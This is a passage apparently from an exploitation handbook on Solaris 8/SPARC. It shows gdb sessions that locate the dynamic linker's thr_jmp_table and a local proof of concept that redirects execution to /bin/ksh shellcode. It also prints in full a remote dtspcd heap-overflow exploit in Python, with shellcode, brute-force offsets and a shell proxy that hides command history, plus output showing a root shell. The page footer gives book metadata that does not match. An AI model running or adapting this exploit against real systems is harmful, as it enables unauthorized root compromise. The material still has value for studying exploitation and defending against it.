Single Stepping the Dynamic Linker

Now that we have looked into the necessary background information, you should understand the current limitations regarding exploitation. We will now demonstrate our new method of making heap and format string attacks more reliable and robust. We will single step the dynamic linker while in action, which will show us that there are many dispatchment (jump) tables vital to the linker's functionality. Single stepping is used when precise control over instruction execution is required. As each instruction is executed, control is passed back to the debugger, which disassembles the next instruction to be executed. You must give input at this point before execution will continue. These tables, which contain internal function pointers, remain at the same location in every thread's address space. This is a remote attacker's dreamreliable and resident function pointers.

Let's disassemble and single step the following example to find what could potentially be a new exploitation vector for Solaris/SPARC executables.

 <linkme.c> #include <stdio.h>     int main(void) {              printf("hello world!\n");         printf("uberhax0r rux!\n");     }     bash-2.03# gcc -o linkme linkme.c  bash-2.03# gdb -q linkme (no debugging symbols found)...(gdb)  (gdb) disassemble main Dump of assembler code for function main: 0x10684 <main>: save  %sp, -112, %sp 0x10688 <main+4>:       sethi  %hi(0x10400), %o0 0x1068c <main+8>:       or  %o0, 0x358, %o0     ! 0x10758 <_lib_version+8> 0x10690 <main+12>:      call  0x20818 <printf> 0x10694 <main+16>:      nop  0x10698 <main+20>:      sethi  %hi(0x10400), %o0 0x1069c <main+24>:      or  %o0, 0x368, %o0     ! 0x10768 <_lib_version+24> 0x106a0 <main+28>:      call  0x20818 <printf> 0x106a4 <main+32>:      nop  0x106a8 <main+36>:      mov  %o0, %i0 0x106ac <main+40>:      nop  0x106b0 <main+44>:      ret  0x106b4 <main+48>:      restore  0x106b8 <main+52>:      retl  0x106bc <main+56>:      add  %o7, %l7, %l7 End of assembler dump. (gdb) b *main Breakpoint 1 at 0x10684 (gdb) r Starting program: /BOOK/linkme  (no debugging symbols found)...(no debugging symbols found)... (no debugging symbols found)... Breakpoint 1, 0x10684 in main () (gdb) x/i *main+12 0x10690 <main+12>:      call  0x20818 <printf> (gdb) x/4i 0x20818 0x20818 <printf>:       sethi  %hi(0x1e000), %g1 0x2081c <printf+4>:     b,a   0x207a0 <_PROCEDURE_LINKAGE_TABLE_> 0x20820 <printf+8>:     nop  0x20824 <printf+12>:    nop 

This is the initial entry for the printf() in the PLT where printf is first referenced. The %g1 register will be set with the offset of 0x1e000 and then a jump to the first entry in the PLT. This will set up the outgoing arguments and take us to the dynamic linker's resolve function.

 (gdb) b *0x20818 Breakpoint 2 at 0x20818 (gdb) display/i $pc 1: x/i $pc  0x10684 <main>:     save  %sp, -112, %sp (gdb) c 

Continuing, we set a breakpoint for the PLT entry of the printf() function.

 Breakpoint 2, 0x20818 in printf () 1: x/i $pc  0x20818 <printf>:   sethi  %hi(0x1e000), %g1 (gdb) x/4i $pc 0x20818 <printf>:       sethi  %hi(0x1e000), %g1 0x2081c <printf+4>:     b,a   0x207a0 <_PROCEDURE_LINKAGE_TABLE_> 0x20820 <printf+8>:     nop  0x20824 <printf+12>:    nop  (gdb) c Continuing. hello world! 

printf was referenced for the first time from the .text segment and entered to PLT, which redirects the execution to the memory-mapped image of the dynamic linker. The dynamic linker resolves the function's ( printf ) location within the mapped objects, in this case libc.so , and directs the execution to this location. The dynamic linker also patches the PLT entry for printf with instructions that will jump to libc's printf entry when there is any further reference to printf . As you can see from the following disassembly, printf's PLT entry was altered by the dynamic linker. Take note of the address, 0xff304418 , which is the location of printf with in libc.so . This is followed by the method to verify that this is really the location of printf within libc.so .

 Breakpoint 2, 0x20818 in printf () 1: x/i $pc  0x20818 <printf>:   sethi  %hi(0x1e000), %g1 (gdb) x/4i $pc 0x20818 <printf>:       sethi  %hi(0x1e000), %g1 0x2081c <printf+4>:     sethi  %hi(0xff304400), %g1 0x20820 <printf+8>:     jmp  %g1 + 0x18 ! 0xff304418 <printf> 0x20824 <printf+12>:    nop      FF280000    672K read/exec         /usr/lib/libc.so.1 

Next we see where libc is mapped within our sample hello world example.

 bash-2.03# nm -x /usr/lib/libc.so.1  grep printf [3762]  0x000842900x00000188FUNC GLOB 0    9      _fprintf [593]   0x000000000x00000000FILE LOCL 0    ABS    _sprintf_sup.c [4756]  0x000842900x00000188FUNC WEAK 0    9      fprintf [2185]  0x000000000x00000000FILE LOCL 0    ABS    fprintf.c [4718]  0x00084cbc0x000001c4FUNC GLOB 0    9      fwprintf [3806]  0x000844180x00000194FUNC GLOB 0    9      printf                      ->> printf() within libc.so 

The following calculation will give us the exact location of printf() within our example's address space.

 bash-2.03# gdb -q (gdb) printf "0x%.8x\n", 0x00084418 + 0xFF280000 0xff304418 

The address 0xff304418 is the exact location of printf() within our sample application. As expected, the dynamic linker updated the PLT's printf entry with the exact location of printf() in the thread's address space.

Let's delve further into the dynamic linking process to learn more about this new technique of exploitation. We will restart the application and breakpoint at the PLT entry of printf() and from there single step into the dynamic linker.

 (gdb) b *0x20818 Breakpoint 1 at 0x20818 (gdb) r Starting program: /BOOK/./linkme  (no debugging symbols found)...(no debugging symbols found)... (no debugging symbols found)... Breakpoint 1, 0x20818 in printf () (gdb) display/i $pc 1: x/i $pc  0x20818 <printf>:   sethi  %hi(0x1e000), %g1 (gdb) si 0x2081c in printf () 1: x/i $pc  0x2081c <printf+4>: b,a   0x207a0 <_PROCEDURE_LINKAGE_TABLE_> (gdb)  0x207a0 in _PROCEDURE_LINKAGE_TABLE_ () 1: x/i $pc  0x207a0 <_PROCEDURE_LINKAGE_TABLE_>:        save  %sp, -64, %sp (gdb)  0x207a4 in _PROCEDURE_LINKAGE_TABLE_ () 1: x/i $pc  0x207a4 <_PROCEDURE_LINKAGE_TABLE_+4>:           call  0xffffffffff3b297c 

This is the actual call instruction that will take us to the entry function of the dynamic linker.

 (gdb)  0x207a8 in _PROCEDURE_LINKAGE_TABLE_ () 1: x/i $pc  0x207a8 <_PROCEDURE_LINKAGE_TABLE_+8>:      nop 

Now, let's look at the call instruction's delay slot.

 (gdb)  0xff3b297c in ?? () 1: x/i $pc  0xffffffffff3b297c: mov  %i7, %o0 

At this stage, we are in the memory-mapped image of the ld.so . For brevity's sake, we will not explain all the instructions until we hit the target section. A brief reverse engineering session will be done for the pure thrill of it.

 (gdb)  1: x/i $pc  0xffffffffff3b297c: mov  %i7, %o0 1: x/i $pc  0xffffffffff3b2980: save  %sp, -96, %sp 1: x/i $pc  0xffffffffff3b2984: mov  %i0, %o3 

%o3 is the address within .text where printf() is called.

 1: x/i $pc  0xffffffffff3b2988: add  %i7, -4, %o0 

%o0 is the address of PLT.

 1: x/i $pc  0xffffffffff3b298c: srl  %g1, 0xa, %g1 

%g1 is the entry number of printf() within PLT.

 1: x/i $pc  0xffffffffff3b2990: add  %o0, %g1, %o0 

%o0 is the printf() 's address in PLT.

 1: x/i $pc  0xffffffffff3b2994: mov  %g1, %o1 

%o1 is the entry number within PLT.

 1: x/i $pc  0xffffffffff3b2998: call  0xffffffffff3c34c8 1: x/i $pc  0xffffffffff3b299c: ld  [ %i7 + 8 ], %o2 

%o2 contains the fourth integer entry in the PLT, which is a pointer to the most important dynamic linker foundation: A link list of structures referred to as the link map. See /usr/include/sys/link.h for its layout.

Now the function at location 0xff3c34c8 (ignore the high-order bits that seems to be set; 0xffffffffff3c34c8 is actually 0xff3c34c8 ) is called with the following arguments:

 func(address_of_PLT, slot_number_in_PLT, address_of_link_map, .text_address); 0xff3c34c8(0x20818, 0x78, 0xff3a0018, 0x10690);     1: x/i $pc  0xffffffffff3c34c8: save  %sp, -144, %sp 1: x/i $pc  0xffffffffff3c34cc: call  0xffffffffff3c34d4 1: x/i $pc  0xffffffffff3c34d0: sethi  %hi(0x1f000), %o1 

Basically, this states: reserve some stack and move incoming arguments into input registers. Now all previous address and offsets that we dealt with are in the %i0 through %i3 registers. Set the %o1 register to 0x1f000 and jump to a leaf function at 0xff3c34d4.

 i0             0x20818     address_of_PLT i1             0x78        slot_number_in_PLT i2             0xff3a0018  ddress_of_link_map i3             0x10690     .text_address     1: x/i $pc  0xffffffffff3c34d4: mov  %i3, %l2 1: x/i $pc  0xffffffffff3c34d8: add  %o1, 0x19c, %o1 1: x/i $pc  0xffffffffff3c34dc: mov  %i2, %l1 1: x/i $pc  0xffffffffff3c34e0: add  %o1, %o7, %i4 1: x/i $pc  0xffffffffff3c34e4: mov  %i0, %l3 1: x/i $pc  0xffffffffff3c34e8: call  0xffffffffff3bda9c 1: x/i $pc  0xffffffffff3c34ec: clr  [ %fp + -4 ] 

The prior instructions store all the aforementioned input register values into local register, or temporary/scratch registers. Take note that an internal structure's address is stored in the %i4 register. Finally, this block of instructions passes the control to another function at 0xff3bda9c .

 1: x/i $pc  0xffffffffff3bda9c: save  %sp, -96, %sp 1: x/i $pc  0xffffffffff3bdaa0: call  0xffffffffff3bdaa8 1: x/i $pc  0xffffffffff3bdaa4: sethi  %hi(0x24800), %o1 

In essence, this code block sets the %o1 registers to 0x24800 and calls the function at address 0xff3bdaa8 .

 1: x/i $pc  0xffffffffff3bdaa8: add  %o1, 0x3c8, %o1    ! 0x24bc8 1: x/i $pc  0xffffffffff3bdaac: add  %o1, %o7, %i0 1: x/i $pc  0xffffffffff3bdab0: call  0xffffffffff3b92ec 1: x/i $pc  0xffffffffff3bdab4: mov  1, %o0 

This code blocks adds the prior value of 0x24800 to the callers address (which is the prior call instruction's location: 0xff3bdaa0 ) and moves the sum to the %i0 register. Once again execution flow is directed to another function at 0xff3b92ec .

 1: x/i $pc  0xffffffffff3b92ec: mov  %o7, %o5 1: x/i $pc  0xffffffffff3b92f0: call  0xffffffffff3b92f8 1: x/i $pc  0xffffffffff3b92f4: sethi  %hi(0x29000), %o4 

This is the same as the previous block; we immediately pass control to another function with an additional operation. We set the %o4 register with the value of 0x29000 . The caller's location is stored in the %o5 register, and the function at 0xff3b92f8 is entered. Now, onto the Holy Grail that we are all after. If you have found the explanation tedious to this point, you should definitely pay attention now.

 1: x/i $pc  0xffffffffff3b92f8: add  %o4, 0x378, %o4    ! 0x29378 1: x/i $pc  0xffffffffff3b92fc: add  %o4, %o7, %g1 

The preceding two instructions translate into %o4 + 0x378 + %o7 , which is 0x29000 + 0x378 + 0xff3b92f0 (the caller's location). Now, the %g1 register contains the address of an internal ld.so structure, which is a great vector for exploitation.

 1: x/i $pc  0xffffffffff3b9300: mov  %o5, %o7 

The previous code fragment will move the caller's caller into our caller's address. This process of moving callers will make the current execution block return to the caller's caller, not to our initial caller.

 (gdb) info reg $g1 g1             0xff3e2668       -12704152     1: x/i $pc  0xffffffffff3b9304: ld  [ %g1 + 0x30 ], %g1 1: x/i $pc  0xffffffffff3b9308: ld  [ %g1 ], %g1 1: x/i $pc  0xffffffffff3b930c: jmp  %g1     (gdb) x/x $g1 + 0x30 0xffffffffff3e2698:     0xff3e21b4 

The prior instruction can be translated into %g1 containing the address of an internal linker structure. The member of this structure at location 0x30 is a pointer to a table of function pointers. Then the first entry in this table, or array of function pointers, is dispatched by the following jmp instruction:

 struct internal_ld_stuff { 0x00:... .... 0x30: unsigned long *ptr;  ...     }; 

With the following calculation, we can determine the location of our function pointer table.

 (gdb) x/x $g1 + 0x30 0xffffffffff3e2698:     0xff3e21b4 

Basically, the address 0xff3e21b4 contains the address of a table whose first entry will be the next function to which the dynamic linker will jump. At this point, we are going to check the layout of the dynamic linker within a process. We will discover that this address has an entry within the dynamic linker's symbol table, which will be very handy in locating it at a later stage.

 FF3B0000    136K read/exec         /usr/lib/ld.so.1 

0xff3b0000 is the address in which the dynamic linker is mapped into every thread's address space in the Solaris 8 operating system. You can verify this with the /usr/bin/pmap application. Armored with that knowledge, you can find out the location of this function pointer array within ld.so .

 bash-2.03# gdb -q (gdb) printf "0x%.8x\n", 0xff3e21b4 - 0xff3b0000 0x000321b4 

0x000321b4 is the location within ld.so that we are after. The treasure reveals itself with the following command:

 bash-2.03# nm -x /usr/lib/ld.so.1  grep 0x000321b4 [433]   0x000321b40x0000001cOBJT LOCL 0    14     thr_jmp_table 

thr_jmp_table (thread jump table) turns out to be the array in which internal ld.so function pointers are stored. Now, let's test our theory in action with the following example.

 <hiyar.c> #include <stdio.h>                            /* http://lsd-pl.net           */ char shellcode[]=          /* 10*4+8 bytes                   */     "\x20\xbf\xff\xff"     /* bn,a    <shellcode-4>          */     "\x20\xbf\xff\xff"     /* bn,a    <shellcode>            */     "\x7f\xff\xff\xff"     /* call    <shellcode+4>          */     "\x90\x03\xe0\x20"     /* add     %o7,32,%o0             */     "\x92\x02\x20\x10"     /* add     %o0,16,%o1             */     "\xc0\x22\x20\x08"     /* st      %g0,[%o0+8]            */     "\xd0\x22\x20\x10"     /* st      %o0,[%o0+16]           */     "\xc0\x22\x20\x14"     /* st      %g0,[%o0+20]           */     "\x82\x10\x20\x0b"     /* mov     0x0b,%g1               */     "\x91\xd0\x20\x08"     /* ta      8                      */     "/bin/ksh" ;     int main(int argc, char **argv) {         long *ptr;         long *addr = (long *) shellcode;             printf("la la lala laaaaa\n");       //ld.so base + thr_jmp_table   //[433]   0x000321b40x0000001cOBJT LOCL 0    14     thr_jmp_table   //0xFF3B0000 + 0x000321b4                    ptr = (long *) 0xff3e21b4;         *ptr++ = (long)((long *) shellcode);             strcmp("mocha", "latte");  //this will make us enter the dynamic linker                               //since there is no prior call to strcmp()     }     bash-2.03# gcc -o hiyar hiyar.c  bash-2.03# ./hiyar  la la lala laaaaa # 

Execution is hijacked and directed to the shellcode; strcmp() has never been entered. This technique is much more reliable and robust than any previously invented Solaris exploitation techniques (such as exitfns , return address, etc.), so you are advised to use it to take control of execution in all situations. You will need to compile a simple database for the thr_jmp_table offsets due to the introduction of new ld.so.1 binaries with various patch clusters. We have only come across four different offsets. We'll leave to the reader the exercise of discovering, if possible, additional offsets from various patch levels that we might have missed.

 1) 5.8 Generic_108528-07 sun4u SPARC SUNW,UltraAX-i2 5.8 Generic_108528-09 sun4u SPARC SUNW,Ultra-5_10     0x000321b4   thr_jmp_table     2) 5.8 Generic_108528-14 sun4u SPARC SUNW,UltraSPARC-IIi-cEngine 5.8 Generic_108528-15 sun4u SPARC SUNW,Ultra-5_10     0x000361d8   thr_jmp_table     3) 5.8 Generic_108528-17 sun4u SPARC SUNW,Ultra-80     0x000361e0   thr_jmp_table     4) 5.8 Generic_108528-20 sun4u SPARC SUNW,Ultra-5_10     0x000381e8   thr_jmp_table 

Next, we will demonstrate how thr_jmp_table can be used in a remote heap overflow exploit for a robust and reliable method of gaining control of execution. We introduced a list of offsets for the aforementioned various thr_jmp_table locations; now, we can brute force our way by incrementing heap addresses. We will also need to change the thr_jmp_table offset with the next entry in the following list.

 self.thr_jmp_table = [ 0x321b4, 0x361d8, 0x361e0, 0x381e8 ]     ------------------ dtspcd_exp.py -----------------------------     # noir@olympos.org  noir@uberhax0r.net # Sinan Eren (c) 2003 # dtspcd heap overflow # with all new shiny tricks baby ;)     import socket import telnetlib import sys import string import struct import time import threading import random     PORT = "6112" CHANNEL_ID = 2 SPC_ABORT = 3 SPC_REGISTER = 4     class DTSPCDException(Exception):          def __init__(self, args=None):         self.args = args              def __str__(self):         return `self.args`     class DTSPCDClient:          def __init__(self):         self.seq = 1          def spc_register(self, user, buf):         return "4 " + "\x00" + user + "\x00\x00" + "10" + "\x00" + buf          def spc_write(self, buf, cmd):         self.data = "%08x%02x%04x%04x  " % (CHANNEL_ID, cmd, len(buf), self.seq)         self.seq += 1         self.data += buf         if self.sck.send(self.data) < len(self.data):             raise DTSPCDException, "network problem, packet not fully send"              def spc_read(self):                  self.recvbuf = self.sck.recv(20)             if len(self.recvbuf) < 20:            raise  DTSPCDException, "network problem, packet not fully received"             self.chan = string.atol(self.recvbuf[:8], 16)         self.cmd =  string.atol(self.recvbuf[8:10], 16)         self.mbl =  string.atol(self.recvbuf[10:14], 16)         self.seqrecv = string.atol(self.recvbuf[14:18], 16)             #print "chan, cmd, len, seq: " , self.chan, self.cmd, self.mbl, self.seqrecv                  self.recvbuf = self.sck.recv(self.mbl)                  if len(self.recvbuf) < self.mbl:             raise  DTSPCDException, "network problem, packet not fully recvied"             return self.recvbuf              class DTSPCDExploit(DTSPCDClient):         def __init__(self, target, user="", port=PORT):         self.user = user         self.set_target(target)         self.set_port(port)         DTSPCDClient.__init__(self)                  #shellcode: write(0, "/bin/ksh", 8) + fcntl(0, F_DUP2FD, 0-1-2)  + exec("/bin/ksh"...)         self.shellcode =\         "\xa4\x1c\x40\x11"+\         "\xa4\x1c\x40\x11"+\         "\xa4\x1c\x40\x11"+\         "\xa4\x1c\x40\x11"+\         "\xa4\x1c\x40\x11"+\         "\xa4\x1c\x40\x11"+\         "\x20\xbf\xff\xff"+\         "\x20\xbf\xff\xff"+\         "\x7f\xff\xff\xff"+\         "\xa2\x1c\x40\x11"+\         "\x90\x24\x40\x11"+\         "\x92\x10\x20\x09"+\         "\x94\x0c\x40\x11"+\         "\x82\x10\x20\x3e"+\         "\x91\xd0\x20\x08"+\         "\xa2\x04\x60\x01"+\         "\x80\xa4\x60\x02"+\         "\x04\xbf\xff\xfa"+\         "\x90\x23\xc0\x0f"+\         "\x92\x03\xe0\x58"+\         "\x94\x10\x20\x08"+\         "\x82\x10\x20\x04"+\         "\x91\xd0\x20\x08"+\         "\x90\x03\xe0\x58"+\         "\x92\x02\x20\x10"+\         "\xc0\x22\x20\x08"+\         "\xd0\x22\x20\x10"+\         "\xc0\x22\x20\x14"+\         "\x82\x10\x20\x0b"+\         "\x91\xd0\x20\x08"+\         "\x2f\x62\x69\x6e"+\         "\x2f\x6b\x73\x68"              def set_user(self, user):         self.user = user         def get_user(self):         return self.user         def set_target(self, target):         try:             self.target = socket.gethostbyname(target)         except socket.gaierror, err:             raise DTSPCDException, "DTSPCDExploit, Host: " + target + "  " + err[1]         def get_target(self):         return self.target         def set_port(self, port):         self.port = string.atoi(port)         def get_port(self):         return self.port          def get_uname(self):             self.setup()                  self.uname_d = { "hostname": "", "os": "", "version": "",  "arch": "" }             self.spc_write(self.spc_register("root", "\x00"), SPC_REGISTER)                  self.resp = self.spc_read()              try: self.resp = self.resp[self.resp.index("1000")+5:len(self.resp)-1]         except ValueError:             raise DTSPCDException, "Non standard response to REGISTER  cmd"             self.resp = self.resp.split(":")                  self.uname_d = { "hostname": self.resp[0],\                          "os": self.resp[1],\                          "version": self.resp[2],\                          "arch": self.resp[3] }         print self.uname_d             self.spc_write("", SPC_ABORT)             self.sck.close()              def setup(self):                  try:             self.sck = socket.socket(socket.AF_INET, socket.SOCK_STREAM,  socket.IPPROTO_IP)             self.sck.connect((self.target, self.port))         except socket.error, err:             raise DTSPCDException, "DTSPCDExploit, Host: " +  str(self.target) + ":"\                   + str(self.port) + " " + err[1]              def exploit(self, retloc, retaddr):             self.setup()                  self.ovf = "\xa4\x1c\x40\x11\x20\xbf\xff\xff" * ((4096 - 8 -  len(self.shellcode)) / 8)             self.ovf += self.shellcode + "\x00\x00\x10\x3e" +  "\x00\x00\x00\x14" +\                     "\x12\x12\x12\x12" + "\xff\xff\xff\xff" +  "\x00\x00\x0f\xf4" +\                     self.get_chunk(retloc, retaddr)         self.ovf += "A" * ((0x103e - 8) - len(self.ovf))             #raw_input("attach")                  self.spc_write(self.spc_register("", self.ovf), SPC_REGISTER)             time.sleep(0.1)         self.check_bd()                  #self.spc_write("", SPC_ABORT)                  self.sck.close()         def get_chunk(self, retloc, retaddr):                  return "\x12\x12\x12\x12" + struct.pack(">l", retaddr) +\                "\x23\x23\x23\x23" + "\xff\xff\xff\xff" +\                "\x34\x34\x34\x34" + "\x45\x45\x45\x45" +\                "\x56\x56\x56\x56" + struct.pack(">l", (retloc - 8))         def attack(self):             print "[*]  retrieving remote version [*]"         self.get_uname()         print "[*]      exploiting ...       [*]"                  #do some parsing later ;p                  self.ldso_base = 0xff3b0000 #solaris 7, 8 also 9                  self.thr_jmp_table = [ 0x321b4, 0x361d8, 0x361e0, 0x381e8 ]  #from various patch clusters         self.increment = 0x400                  for each in self.thr_jmp_table:                          self.retaddr_base = 0x2c000 #vanilla solaris 8 heap brute start                                         #almost always work!                          while self.retaddr_base < 0x2f000: #heap brute force end                     print "trying; retloc: 0x%08x, retaddr: 0x%08x" %\                       ((self.ldso_base+each), self.retaddr_base)                 self.exploit((each+self.ldso_base), self.retaddr_base)                     self.exploit((each+self.ldso_base), self.retaddr_base+4)                     self.retaddr_base += self.increment         def check_bd(self):         try:             self.recvbuf = self.sck.recv(100)             if self.recvbuf.find("ksh") != -1:                 print "got shellcode response: ", self.recvbuf                 self.proxy()         except socket.error:             pass             return -1          def proxy(self):                  self.t = telnetlib.Telnet()         self.t.sock = self.sck         self.t.write("unset HISTFILE;uname -a;\n")         self.t.interact()         sys.exit(1)                               def run(self):         self.attack()         return     if __name__ == "__main__":         if len(sys.argv) < 2:         print "usage: dtspcd_exp.py target_ip"         sys.exit(0)              exp = DTSPCDExploit(sys.argv[1])     #print "user, target, port: ", exp.get_user(), exp.get_target(),      exp.get_port()     exp.run() 

Let's see how this exploit will work.

 juneof44:~/exploit_workshop/dtspcd_exp # python dtspcd_exp_book.py  192.168.10.40 [*]  retrieving remote version [*] {'arch': 'sun4u', 'hostname': 'slint', 'os': 'SunOS', 'version': '5.8'} [*]      exploiting ...       [*] trying; retloc: 0xff3e21b4, retaddr: 0x0002c000 trying; retloc: 0xff3e21b4, retaddr: 0x0002c400 trying; retloc: 0xff3e21b4, retaddr: 0x0002c800 got shellcode response:  /bin/ksh SunOS slint 5.8 Generic_108528-09 sun4u SPARC SUNW,Ultra-5_10 id uid=0(root) gid=0(root) ..... 

Brute force attempts left a core file under the root directory; initial jumps to heap space did not hit the payload ( nop + shellcode). This core file is a good starting point for postmortem analysis on our execution hooking technique. Let's take some time and see what we can find.

 bash-2.03# gdb -q /usr/dt/bin/dtspcd /core (no debugging symbols found)...Core was generated by  `/usr/dt/bin/dtspcd'. Program terminated with signal 4, Illegal Instruction. Reading symbols from /usr/dt/lib/libDtSvc.so.1... ... Loaded symbols for /usr/platform/SUNW,Ultra-5_10/lib/libc_psr.so.1 #0  0x2c820 in ?? () (gdb) bt #0  0x2c820 in ?? () #1  0xff3c34f0 in ?? () #2  0xff3b29a0 in ?? () #3  0x246e4 in _PROCEDURE_LINKAGE_TABLE_ () #4  0x12c0c in Client_Register () #5  0x12918 in SPCD_Handle_Client_Data () #6  0x13e34 in SPCD_MainLoopUntil () #7  0x12868 in main () (gdb) x/4i 0x12c0c - 8 0x12c04 <Client_Register+64>:   call  0x24744 <Xestrcmp> 0x12c08 <Client_Register+68>:   add  %g2, 0x108, %o1 0x12c0c <Client_Register+72>:   tst  %o0 0x12c10 <Client_Register+76>:   be  0x13264 <Client_Register+1696> (gdb) x/3i 0x24744 0x24744 <Xestrcmp>:     sethi  %hi(0x1b000), %g1 0x24748 <Xestrcmp+4>:   b,a   0x246d8 <_PROCEDURE_LINKAGE_TABLE_> 0x2474c <Xestrcmp+8>:   nop  (gdb) 

As we can see, the crash took place at address 0x2c820 due to an illegal instruction, likely because we have probably fallen too short to hit the nop s. Following the stack trace shows us that we have jumped to the heap from the dynamic linker, and we find that the address 0xff3c34f0 is mapped where the ld.so.1 .text segment resides within dtspcd 's address space.

Note 

You can do a stack trace in gdb with the bt command.



The Shellcoder's Handbook. Discovering and Exploiting Security
Hacking Ubuntu: Serious Hacks Mods and Customizations (ExtremeTech)
ISBN: N/A
EAN: 2147483647
Year: 2003
Pages: 198
Authors: Neal Krawetz

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net